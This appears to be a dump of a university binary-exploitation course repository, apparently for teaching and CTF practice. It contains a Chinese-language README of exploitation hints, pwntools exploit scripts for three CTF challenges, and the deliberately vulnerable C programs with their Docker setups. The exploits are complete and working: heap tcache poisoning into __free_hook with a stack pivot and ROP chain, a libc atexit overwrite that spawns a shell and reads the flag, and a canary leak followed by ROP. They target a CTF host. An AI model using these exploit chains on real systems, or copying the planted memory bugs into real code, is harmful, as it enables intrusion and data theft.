Repository: u1f383/Software-Security-2021 Branch: master Commit: 7d966c1fcff2 Files: 367 Total size: 237.8 KB Directory structure: gitextract_ilxhtbq2/ ├── .gitignore ├── 2021/ │ ├── README.md │ ├── eof-final/ │ │ ├── exp/ │ │ │ ├── logger.py │ │ │ ├── sugar.py │ │ │ └── two-gadget.py │ │ ├── logger/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── logger │ │ │ │ ├── logger.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ ├── sugar/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── run.sh │ │ │ │ ├── sugar │ │ │ │ └── sugar.c │ │ │ └── xinetd │ │ └── two-gadget/ │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── flag │ │ │ ├── run.sh │ │ │ ├── two-gadget │ │ │ └── two-gadget.c │ │ └── xinetd │ ├── eof-qual/ │ │ ├── fullchain-buff/ │ │ │ └── README.md │ │ ├── hello-world/ │ │ │ └── README.md │ │ └── myfs/ │ │ └── README.md │ ├── quals/ │ │ ├── exp/ │ │ │ ├── fullchain-buff.py │ │ │ ├── hello-world.py │ │ │ ├── myfs-fuzz.py │ │ │ └── myfs.py │ │ ├── fullchain-buff/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── fullchain-buff │ │ │ │ ├── fullchain-buff.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ └── myfs/ │ │ ├── Dockerfile │ │ ├── build.sh │ │ ├── pow.py │ │ ├── run.sh │ │ ├── setup.sh │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── flag1.txt │ │ │ ├── flag2.txt │ │ │ ├── flag3.txt │ │ │ ├── fs.c │ │ │ ├── fs.h │ │ │ ├── gc.c │ │ │ ├── gc.h │ │ │ ├── list.h │ │ │ ├── main.c │ │ │ ├── mycrypto.c │ │ │ ├── mycrypto.h │ │ │ ├── myfs │ │ │ ├── run.sh │ │ │ ├── user.c │ │ │ └── user.h │ │ └── xinetd │ ├── week1/ │ │ ├── demo/ │ │ │ ├── Makefile │ │ │ ├── demo_BOF1 │ │ │ ├── demo_BOF1.c │ │ │ ├── demo_BOF1.py │ │ │ ├── demo_BOF2_leak_canary │ │ │ ├── demo_BOF2_leak_canary.c │ │ │ ├── demo_BOF2_leak_canary.py │ │ │ ├── demo_GOT │ │ │ ├── demo_GOT.c │ │ │ ├── demo_GOT.sh │ │ │ ├── demo_ROP │ │ │ ├── demo_ROP.c │ │ │ ├── demo_ROP.py │ │ │ ├── demo_canary │ │ │ ├── demo_canary.c │ │ │ ├── demo_canary.sh │ │ │ ├── demo_fmt │ │ │ ├── demo_fmt.c │ │ │ ├── demo_fmt.py │ │ │ ├── demo_one_gadget_with_ROP │ │ │ ├── demo_one_gadget_with_ROP.c │ │ │ ├── demo_one_gadget_with_ROP.py │ │ │ ├── demo_shellcode │ │ │ ├── demo_shellcode.c │ │ │ ├── demo_shellcode.py │ │ │ ├── demo_stack_pivoting │ │ │ ├── demo_stack_pivoting.c │ │ │ └── demo_stack_pivoting.py │ │ ├── hw/ │ │ │ ├── exp/ │ │ │ │ ├── fullchain-nerf.py │ │ │ │ ├── fullchain.py │ │ │ │ └── sandbox.py │ │ │ ├── fullchain/ │ │ │ │ ├── Dockerfile │ │ │ │ ├── docker-compose.yml │ │ │ │ ├── share/ │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── flag │ │ │ │ │ ├── fullchain │ │ │ │ │ ├── fullchain.c │ │ │ │ │ └── run.sh │ │ │ │ └── xinetd │ │ │ ├── fullchain-nerf/ │ │ │ │ ├── Dockerfile │ │ │ │ ├── docker-compose.yml │ │ │ │ ├── share/ │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── flag │ │ │ │ │ ├── fullchain-nerf │ │ │ │ │ ├── fullchain-nerf.c │ │ │ │ │ └── run.sh │ │ │ │ └── xinetd │ │ │ └── sandbox/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── run.sh │ │ │ │ ├── sandbox │ │ │ │ └── sandbox.c │ │ │ └── xinetd │ │ └── lab/ │ │ ├── Got2win/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── got2win │ │ │ │ ├── got2win.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ ├── Rop2win/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── rop2win │ │ │ │ ├── rop2win.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ └── exp/ │ │ ├── Got2win.py │ │ └── Rop2win.py │ ├── week2/ │ │ ├── demo/ │ │ │ ├── Makefile │ │ │ ├── demo_UAF │ │ │ ├── demo_UAF.c │ │ │ ├── demo_UAF.sh │ │ │ ├── demo_double_free │ │ │ ├── demo_double_free.c │ │ │ ├── demo_double_free.sh │ │ │ ├── demo_fastbin │ │ │ ├── demo_fastbin.c │ │ │ ├── demo_fastbin.sh │ │ │ ├── demo_heap_overflow │ │ │ ├── demo_heap_overflow.c │ │ │ ├── demo_heap_overflow.sh │ │ │ ├── demo_largebin │ │ │ ├── demo_largebin.c │ │ │ ├── demo_largebin.sh │ │ │ ├── demo_malloc_state │ │ │ ├── demo_malloc_state.c │ │ │ ├── demo_malloc_state.sh │ │ │ ├── demo_overlapping_chunks │ │ │ ├── demo_overlapping_chunks.c │ │ │ ├── demo_overlapping_chunks.sh │ │ │ ├── demo_smallbin │ │ │ ├── demo_smallbin.c │ │ │ ├── demo_smallbin.sh │ │ │ ├── demo_tcache │ │ │ ├── demo_tcache.c │ │ │ ├── demo_tcache.sh │ │ │ ├── demo_tcache_poisoning │ │ │ ├── demo_tcache_poisoning.c │ │ │ ├── demo_tcache_poisoning.sh │ │ │ ├── demo_unsortedbin │ │ │ ├── demo_unsortedbin.c │ │ │ └── demo_unsortedbin.sh │ │ ├── hw/ │ │ │ ├── beeftalk/ │ │ │ │ ├── Dockerfile │ │ │ │ ├── docker-compose.yml │ │ │ │ ├── share/ │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── beeftalk │ │ │ │ │ ├── beeftalk.c │ │ │ │ │ ├── beeftalk.h │ │ │ │ │ ├── flag │ │ │ │ │ └── run.sh │ │ │ │ └── xinetd │ │ │ ├── easyheap/ │ │ │ │ ├── Dockerfile │ │ │ │ ├── docker-compose.yml │ │ │ │ ├── share/ │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── easyheap │ │ │ │ │ ├── easyheap.c │ │ │ │ │ ├── flag │ │ │ │ │ └── run.sh │ │ │ │ └── xinetd │ │ │ ├── exp/ │ │ │ │ ├── beeftalk.py │ │ │ │ ├── easyheap.py │ │ │ │ └── final.py │ │ │ └── final/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── final │ │ │ │ ├── final.c │ │ │ │ ├── final.py │ │ │ │ ├── flag │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ ├── lab/ │ │ │ ├── exp/ │ │ │ │ └── market.py │ │ │ ├── heapmath/ │ │ │ │ ├── Dockerfile │ │ │ │ ├── docker-compose.yml │ │ │ │ ├── share/ │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── flag │ │ │ │ │ ├── heapmath │ │ │ │ │ ├── heapmath.c │ │ │ │ │ └── run.sh │ │ │ │ └── xinetd │ │ │ └── market/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── flag │ │ │ │ ├── market │ │ │ │ ├── market.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ └── src_review/ │ │ ├── free_internal.c │ │ └── malloc_internal.c │ └── week3/ │ ├── hw-exp/ │ │ └── FILE_note.py │ └── lab-exp/ │ └── OvO8.js ├── 2022/ │ ├── README.md │ ├── quals/ │ │ ├── exp/ │ │ │ ├── how2know_revenge_exp.py │ │ │ ├── pbof_exp.py │ │ │ ├── real_rop++_exp.py │ │ │ └── superums_exp.py │ │ ├── how2know_revenge/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── chal │ │ │ │ ├── flag │ │ │ │ ├── how2know_revenge.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ ├── pbof/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── chal │ │ │ │ ├── exp.py │ │ │ │ ├── flag │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ ├── real_rop/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── chal │ │ │ │ ├── flag │ │ │ │ ├── real_rop++.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ └── superums/ │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── chal │ │ │ ├── flag │ │ │ ├── run.sh │ │ │ └── superums.c │ │ └── xinetd │ ├── week1/ │ │ └── hw/ │ │ ├── how2know/ │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── share/ │ │ │ │ ├── Makefile │ │ │ │ ├── chal │ │ │ │ ├── flag │ │ │ │ ├── how2know.c │ │ │ │ └── run.sh │ │ │ └── xinetd │ │ └── rop++/ │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── chal │ │ │ ├── flag │ │ │ ├── rop++.c │ │ │ └── run.sh │ │ └── xinetd │ ├── week2/ │ │ ├── exp/ │ │ │ └── exp.py │ │ ├── hw/ │ │ │ ├── babyums/ │ │ │ │ ├── Dockerfile │ │ │ │ ├── docker-compose.yml │ │ │ │ ├── share/ │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── babyums.c │ │ │ │ │ ├── chal │ │ │ │ │ ├── flag │ │ │ │ │ └── run.sh │ │ │ │ └── xinetd │ │ │ └── exp/ │ │ │ └── babyums.py │ │ └── lab/ │ │ └── babynote/ │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── babynote.c │ │ │ ├── chal │ │ │ ├── flag │ │ │ └── run.sh │ │ └── xinetd │ └── week3/ │ ├── demo/ │ │ ├── Makefile │ │ ├── fclose_trace.c │ │ ├── fopen_trace.c │ │ ├── fread_trace.c │ │ ├── fwrite_trace.c │ │ ├── rce.c │ │ ├── rce.py │ │ └── script │ ├── exp/ │ │ ├── lab_aar_exp.py │ │ ├── lab_aaw_exp.py │ │ └── miniums.py │ ├── hw/ │ │ └── miniums/ │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── chal │ │ │ ├── flag │ │ │ ├── miniums.c │ │ │ ├── run.sh │ │ │ └── test.py │ │ └── xinetd │ └── lab/ │ ├── aar/ │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── share/ │ │ │ ├── Makefile │ │ │ ├── aar.c │ │ │ ├── chal │ │ │ ├── example.c │ │ │ └── run.sh │ │ └── xinetd │ └── aaw/ │ ├── Dockerfile │ ├── docker-compose.yml │ ├── share/ │ │ ├── Makefile │ │ ├── aaw.c │ │ ├── chal │ │ ├── example.c │ │ └── run.sh │ └── xinetd ├── Dockerfile ├── README.md ├── how2heap/ │ ├── D │ ├── Makefile │ ├── README.md │ ├── bypass_safe_linking │ ├── bypass_safe_linking.c │ ├── decrypt_safe_linking │ ├── decrypt_safe_linking.c │ ├── fastbin_dup │ ├── fastbin_dup.c │ ├── fastbin_reverse_into_tcache │ ├── fastbin_reverse_into_tcache.c │ ├── house_of_botcake │ ├── house_of_botcake.c │ ├── house_of_einherjar │ ├── house_of_einherjar.c │ ├── house_of_lore │ ├── house_of_lore.c │ ├── house_of_mind_fastbin │ ├── house_of_mind_fastbin.c │ ├── large_bin_attack │ ├── large_bin_attack.c │ ├── ld_change.py │ ├── mmap_overlapping_chunks │ ├── mmap_overlapping_chunks.c │ ├── poison_null_byte │ ├── poison_null_byte.c │ ├── safe_linking_demo.sh │ ├── tcache_house_of_spirit │ ├── tcache_house_of_spirit.c │ ├── tcache_poisoning │ ├── tcache_poisoning.c │ ├── tcache_stashing_unlink_attack │ ├── tcache_stashing_unlink_attack.c │ ├── unsafe_unlink │ └── unsafe_unlink.c └── snippet ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .DS_Store .gdb_history .vscode pwnbox ================================================ FILE: 2021/README.md ================================================ ## 2021 年 ## Week 1: Binary Exploitation I > linux 相關的基礎知識如 ELF struct 與 calling convention、介紹不同的保護機制與攻擊方法 - 影片: [video](https://youtu.be/ktoVQB99Gj4) - Lab - Got2win - Rop2win - Hw - fullchain - Hints: 1. 在一開始 `cnt == 3` 的情況下,我們什麼事情都不能做,因此必須要想辦法將 `cnt` 設為較大的數。而在此我們會需要用 fmt 來得到 cnt 的位址,並且寫值進去 2. 在做 Step 1 時,可能會遇到一次不能寫入太大的值到 `cnt`,不過我們可以分成兩次做,一次先將次數增加到足夠做一次任意寫入,之後再將 `cnt` 寫成很大的值 3. 如果我們能 bypass 掉 `exit()`,這樣就能控制 `ptr`,而首先我們必須要知道 `exit@got` 的位址,此時也能利用 fmt 做到 leak,並在 leak 後也透過 fmt 做到改寫 `exit@got` 4. 之後基本上想做什麼就能做什麼,可以直接堆 ROP chain、或者是透過 `mprotect()` 執行任意 shellcode,但基本上都是透過 fmt 做 leak 與 partial overwrite 5. 使用 fmt 的關鍵在於用 `%X$p` 來 leak、`%***c%k$hhn` 來做任意寫 (請參考投影片),並且為了避免 timeout,在竄改時不一定要將目標位址整個改掉,可以做 partial overwrite 就好,並且通常寫入速度 `%hhn` > `%hn` >> `%n` (1 bytes / 2 bytes / 4 bytes) - PS: - `memset()` 在 local 跟 remote 會因為 CPU 支援的指令集的不同,動態解析到不同的 glibc function,所以如果 local 過 remote 不過,可能要重新算一下 offset,或者是從其他 function 的 got 來 leak - fullchain-nerf - Hints: 1. 明顯有 stack overflow 可以控制 return address,並且也有 fmt 來 leak code / libc address,我們要考慮的只剩下要怎麼透過不多的 bof 來做到 ORW 2. bof 能做的 ROP 沒辦法一次做完 ORW,然而卻可以執行 `read()` 並還有些許 gadget 可以執行,因此可以考慮先執行一次 read 的 ROP 來寫更多 gadgets 3. 如果可以寫在後續的位址,或者是透過 stack pivoting 將 stack 遷移到其他地方,就可以將不足的 ROP chain 補完 - sandbox - Hints: 1. 雖然限制了一些 instruction,但是還是有其他指令可以控制程式執行流程,而且你要的東西其實程式就已經給你了 ## Week 2: Binary Exploitation II > 介紹 linux heap 中經常看到的結構與記憶體分配機制、講解簡單的 heap exploit 技巧如 tcache poisoning - 影片: [video](https://youtu.be/A3kwWfex2XM) - Lab - market - heapmath - Hw - final (教學題) - easyheap 1. 基本上跟 **final** 的解法三差不多,建議在練習 **final** 可以自己畫出 heap 結構,來幫助自己更熟悉 heap - beeftalk 1. leak heap 位址很簡單,難點應該在於該如何 leak 出 libc,不過這題的設計洞很多,因此有許多不同的打法 2. 這題是可以不用透過 `chat()` 內的 overflow 與 `unlink()` 的錯誤順序來做 exploit,只需要透過 user 建立與刪除的 bug 即可 3. 可以想辦法從 freed chunk 留下的 smallbin 來 leak libc 4. 可以想辦法讓 `name` 或是 `desc` 等可以在 `update()` 更新值的 member,與某個 `User` 結構做重疊,而後透過 UAF 來竄改 pointer 指向的位址 5. 其他打法也有透過 `chat()` 的 overflow,或者甚至透過控制 `User->fifo` 的值來直接讀 `"/proc/self/maps"` 做 leak,或猜測檔名來直接讀 flag 的內容等等 ## Week 3: FILE Exploitation & Browser Exploitation > 講解 FILE 的結構以及利用技巧,並且對 browser pwn 做一些簡單的介紹 - 講者: Kia - 影片: [video](https://youtu.be/1a-9iJn-csI) - Slide1: [FILE Struct](https://docs.google.com/presentation/d/1DrdKADYM0VCUvfyw5GFN0fisOEX9CCt4H1zQgpofjJo/edit#slide=id.p2) - Slide2: [Browser Pwn](https://docs.google.com/presentation/d/1BY8O5xKpopcf1jEFPMuvRXKYqilcZ7fexcHUFReEA0Y/edit#slide=id.p2) - Lab - OvO8: [Download](https://drive.google.com/file/d/1vIMysdYS97pZ-sqrPqEORXGY5RIJp2VH/view?usp=sharing) - Hw - FILE note: [Download](https://drive.google.com/file/d/1ABVJWtLjda8Z3_ZT4c9OnztIMFkvbq8A/view?usp=sharing) ================================================ FILE: 2021/eof-final/exp/logger.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] # r = process('./logger', aslr=False) r = remote('chals1.eof.ais3.org', 45125) def new(idx, _len, msg): r.sendlineafter('> ', '1') r.sendlineafter('idx: ', str(idx)) r.sendlineafter('len: ', str(_len)) if _len != 1: r.sendafter('msg: ', msg) def delete(idx): r.sendlineafter('> ', '2') r.sendlineafter('idx: ', str(idx)) def show(idx): r.sendlineafter('> ', '3') r.sendlineafter('idx: ', str(idx)) def edit(idx, msg): r.sendlineafter('> ', '4') r.sendlineafter('idx: ', str(idx)) r.sendafter('msg: ', msg) def get_name(name, namelen): r.sendlineafter('len: ', str(namelen)) r.sendafter('name: ', name) get_name('', 1) new(0, 0x48, '\n') new(1, 0x48, '\n') new(2, 0x48, '\n') delete(1) delete(2) delete(0) new(0, 0x88, '\n') edit(7, '\n') show(0) r.recvuntil('msg: ') heap = u64(r.recv(6).ljust(8, b'\x00')) - 0xfb0 info(f"heap: {hex(heap)}") edit(0, p64(heap + 0xff0) + b'\n') new(1, 0xf8, '\n') new(2, 0xf8, '\n') new(3, 0xf8, '\n') fake_chk = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21) new(4, 0xf8, b'\x00'*0x30 + fake_chk + b'\n') delete(1) delete(2) delete(3) new(1, 0x48, b'\n') new(2, 0x48, b'\n') new(3, 0x48, p64(0) + p64(0x421) + b'\n') delete(2) show(0) r.recvuntil('msg: ') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 __free_hook = libc + 0x1eeb28 info(f"libc: {hex(libc)}") new(5, 0xb8, b'\n') new(6, 0xb8, b'\n') delete(6) delete(5) edit(0, p64(__free_hook) + b'\n') # ref: https://shorturl.at/ruBHS # control_rdx_gadget == getkeyserv_handle+576 control_rdx_gadget = libc + 0x154930 # mov rdx,QWORD PTR [rdi+0x8] ; mov QWORD PTR [rsp],rax ; call QWORD PTR [rdx+0x20] # stack_pivoting_gadget == setcontext+61 stack_pivoting_gadget = libc + 0x580dd rop_read = libc + 0x111130 rop_write = libc + 0x1111d0 rop_openat = libc + 0x110fe0 rop_exit = libc + 0x49bc0 rop_pop_rdi_ret = libc + 0x26b72 rop_pop_rsi_ret = libc + 0x27529 rop_pop_rdx_ret = libc + 0xd27a5 rop_add_rsp_0x18_ret = libc + 0x3794a flag_str = __free_hook + 0x10 """ 20 - setcontext_gadget 28 - r8 30 - r9 48 - r12 50 - r13 58 - r14 60 - r15 68 - rdi 70 - rsi 78 - rbp 80 - rbx 88 - rdx 98 - rcx ; second a0 - rsp a8 - rcx ; first and will be push to stack """ output_fd = 0 # will work at remote env rop = flat( stack_pivoting_gadget, rop_pop_rdi_ret, # 0x20 3, rop_pop_rsi_ret, # 0x30 heap, rop_pop_rdx_ret, # 0x40 0x30, rop_read, # 0x50 rop_add_rsp_0x18_ret, 0, # 0x60 flag_str, heap + 0x2000, # 0x70 rop_pop_rdi_ret, output_fd, # 0x80 rop_write, rop_exit, # 0x90 heap + 0x1000 + 0x8, rop_openat, # 0xa0 ) new(5, 0xb8, rop + b'\n') # heap + 0x1000 new(6, 0xb8, p64(control_rdx_gadget) + p64(heap + 0x1000 - 0x20) + b'/home/logger/flag\x00' + b'\n') delete(6) r.interactive() ================================================ FILE: 2021/eof-final/exp/sugar.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] # python3 sugar.py SILENT=1 flag = False cnt = 0 while not flag : # r = process('./sugar') r = remote('chals1.eof.ais3.org', 45124) print(cnt) cnt += 1 r.sendline(str(0x21000)) r.sendline('+') offset = 0x20f5f8 # __elf_set___libc_atexit_element__IO_cleanup__ value = 0x3fac7e for i in range(3): data = str(offset+i) + ' ' + str((value >> (8*i)) & 0xff) r.sendline(data) r.sendline('A') try: r.sendline('whoami') data = r.recv() if b'stack' in data or b'glibc' in data or b'free' in data: r.close() continue r.sendline('cat /home/sugar/flag') r.sendline('cat /home/sugar/flag') r.sendline('cat /home/sugar/flag') print(r.recv()) r.interactive() flag = True except: r.close() ================================================ FILE: 2021/eof-final/exp/two-gadget.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) > 1: r = remote('chals1.eof.ais3.org', 45126) else: r = process('./two-gadget') r.recvuntil('Gift: ') libc = int(r.recvline()[:-1], 16) - 0x87e60 rop_pop_rdi_ret = libc + 0x26b72 rop_pop_rsi_ret = libc + 0x27529 rop_pop_rdx_ret = libc + 0xd27a5 rop_leave_ret = libc + 0x5aa48 rop_add_dh_bptr_rsi_ret = libc + 0x9837c rop_open = libc + 0x110e50 rop_read = libc + 0x111130 rop_write = libc + 0x1111d0 gets = libc + 0x86af0 # _dl_show_auxv offset is ld.so base + 0x1d020 if len(sys.argv) > 1: _dl_show_auxv = libc + 0x218000 + 0x1d020 else: _dl_show_auxv = libc + 0x22e000 + 0x1d020 info(f"libc: {hex(libc)}") r.send(p64(_dl_show_auxv)) r.recvuntil('AT_PHDR:') code = int(r.recvline()[:-1].strip(), 16) - 0x40 read_gadget = code + 0x1343 info(f"code: {hex(code)}") r.recvuntil('AT_RANDOM:') stack = int(r.recvline()[:-1].strip(), 16) buf = stack - 937 if len(sys.argv) > 1: buf += 288 info(f"stack: {hex(stack)}") r.recvuntil('AT_EXECFN:') flagpath = r.recvline()[:-1].strip() info(f"flagpath: {flagpath}") sleep(0.2) r.send(p64(stack)) r.recvuntil('x86_64\n') canary = b'\x00' + r.recv(8)[1:8] flag_addr = stack - 769 if len(sys.argv) > 1: flag_addr += 288 rop1 = b'A'*0x8 + canary + p64(buf - 0x8) + p64(rop_add_dh_bptr_rsi_ret) + p64(read_gadget) rop2 = b'A'*0x20 + flat( rop_pop_rdi_ret, flag_addr, rop_pop_rsi_ret, 0, rop_pop_rdx_ret, 0, rop_open, rop_pop_rdi_ret, 3, rop_pop_rsi_ret, flag_addr, rop_pop_rdx_ret, 0x30, rop_read, rop_pop_rdi_ret, 1, rop_write, ) rop2 += b'/home/two-gadget-4a4be40c96ac6314e91d93f38043a634/flag\x00' r.send(rop1) sleep(0.2) r.send(rop2) r.interactive() ================================================ FILE: 2021/eof-final/logger/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m logger RUN chown -R root:root /home/logger RUN chmod -R 755 /home/logger CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/eof-final/logger/docker-compose.yml ================================================ version: '3' services: logger: build: ./ volumes: - ./share:/home/logger:ro - ./xinetd:/etc/xinetd.d/logger:ro ports: - "45125:45125" expose: - "45125" ================================================ FILE: 2021/eof-final/logger/share/Makefile ================================================ all: gcc -o logger logger.c -lseccomp debug: gcc -g -o logger logger.c -lseccomp ================================================ FILE: 2021/eof-final/logger/share/flag ================================================ FLAG{TEST} ================================================ FILE: 2021/eof-final/logger/share/logger.c ================================================ #include #include #include #include #include void init_proc() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_load(ctx); seccomp_release(ctx); } unsigned long getu64() { char buf[0x8]; fgets(buf, 0x8, stdin); return strtoul(buf, NULL, 10); } typedef struct _Log { char *msg; char *author; unsigned long len; } Log; Log *logs[7]; char *me; void new() { printf("idx: "); unsigned long idx = getu64(); if (idx >= 7 || logs[idx]) return; logs[idx] = malloc(sizeof(Log)); printf("len: "); logs[idx]->len = getu64(); logs[idx]->len = logs[idx]->len > 0x100 ? 0x100 : logs[idx]->len; printf("msg: "); logs[idx]->msg = malloc(logs[idx]->len); fgets(logs[idx]->msg, logs[idx]->len, stdin); logs[idx]->author = me; } void delete() { printf("idx: "); unsigned long idx = getu64(); if (idx >= 7 || !logs[idx]) return; free(logs[idx]->msg); free(logs[idx]); logs[idx] = NULL; } void show() { printf("idx: "); unsigned long idx = getu64(); if (idx >= 7 || !logs[idx]) return; printf("author: %s\nlen: %lu\nmsg: %s\n", logs[idx]->author, logs[idx]->len, logs[idx]->msg); } void edit() { unsigned long idx; printf("idx: "); idx = getu64(); printf("msg: "); fgets(logs[idx]->msg, logs[idx]->len, stdin); } int main() { init_proc(); unsigned long len; printf("len: "); len = getu64(); len = len > 0x28 ? 0x28 : len; printf("name: "); me = malloc(len); fgets(me, len, stdin); while (1) { printf( "1. new\n" "2. delete\n" "3. show\n" "4. edit\n" "5. bye\n" "> " ); switch (getu64()) { case 1: new(); break; case 2: delete(); break; case 3: show(); break; case 4: edit(); break; case 5: goto bye; default: break; } } bye: return 0; } ================================================ FILE: 2021/eof-final/logger/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/logger/logger ================================================ FILE: 2021/eof-final/logger/xinetd ================================================ service logger { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/logger/run.sh user = logger port = 45125 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/eof-final/sugar/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m sugar RUN chown -R root:root /home/sugar RUN chmod -R 755 /home/sugar CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/eof-final/sugar/docker-compose.yml ================================================ version: '3' services: sugar: build: ./ volumes: - ./share:/home/sugar:ro - ./xinetd:/etc/xinetd.d/sugar:ro ports: - "45124:45124" expose: - "45124" ================================================ FILE: 2021/eof-final/sugar/share/Makefile ================================================ all: gcc -o sugar sugar.c debug: gcc -g -o sugar sugar.c ================================================ FILE: 2021/eof-final/sugar/share/flag ================================================ FLAG{TEST} ================================================ FILE: 2021/eof-final/sugar/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 10 /home/sugar/sugar ================================================ FILE: 2021/eof-final/sugar/share/sugar.c ================================================ #include #include #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); int size = 0, idx = 0, val = 0; unsigned char *ptr = NULL; while (scanf("%d", &size) == 1) { free(ptr); ptr = malloc(size); } while (scanf("%d %d", &idx, &val) == 2) ptr[idx] = val; free(ptr); return 0; } ================================================ FILE: 2021/eof-final/sugar/xinetd ================================================ service sugar { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/sugar/run.sh user = sugar port = 45124 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/eof-final/two-gadget/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m -d /home/ two-gadget RUN chown -R root:root /home/ RUN chmod -R 755 /home/ CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/eof-final/two-gadget/docker-compose.yml ================================================ version: '3' services: two-gadget: build: ./ volumes: - ./share:/home/:ro - ./xinetd:/etc/xinetd.d/two-gadget:ro ports: - "45126:45126" expose: - "45126" ================================================ FILE: 2021/eof-final/two-gadget/share/Makefile ================================================ all: gcc -o two-gadget two-gadget.c -lseccomp debug: gcc -g -o two-gadget two-gadget.c -lseccomp ================================================ FILE: 2021/eof-final/two-gadget/share/flag ================================================ FLAG{TEST} ================================================ FILE: 2021/eof-final/two-gadget/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home//two-gadget ================================================ FILE: 2021/eof-final/two-gadget/share/two-gadget.c ================================================ #include #include #include #include void init_proc() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); seccomp_load(ctx); seccomp_release(ctx); } int main() { char buf[0x8] = {0}; init_proc(); printf("Gift: %p\n", setvbuf); read(0, buf, 0x8); ((void (*)(void)) (*(unsigned long *) buf))(); read(0, buf, 0x8); write(1, (*(unsigned long *) buf), 0x8); read(0, buf, 0x28); return 0; } ================================================ FILE: 2021/eof-final/two-gadget/xinetd ================================================ service two-gadget { disable = no type = UNLISTED socket_type = stream protocol = tcp 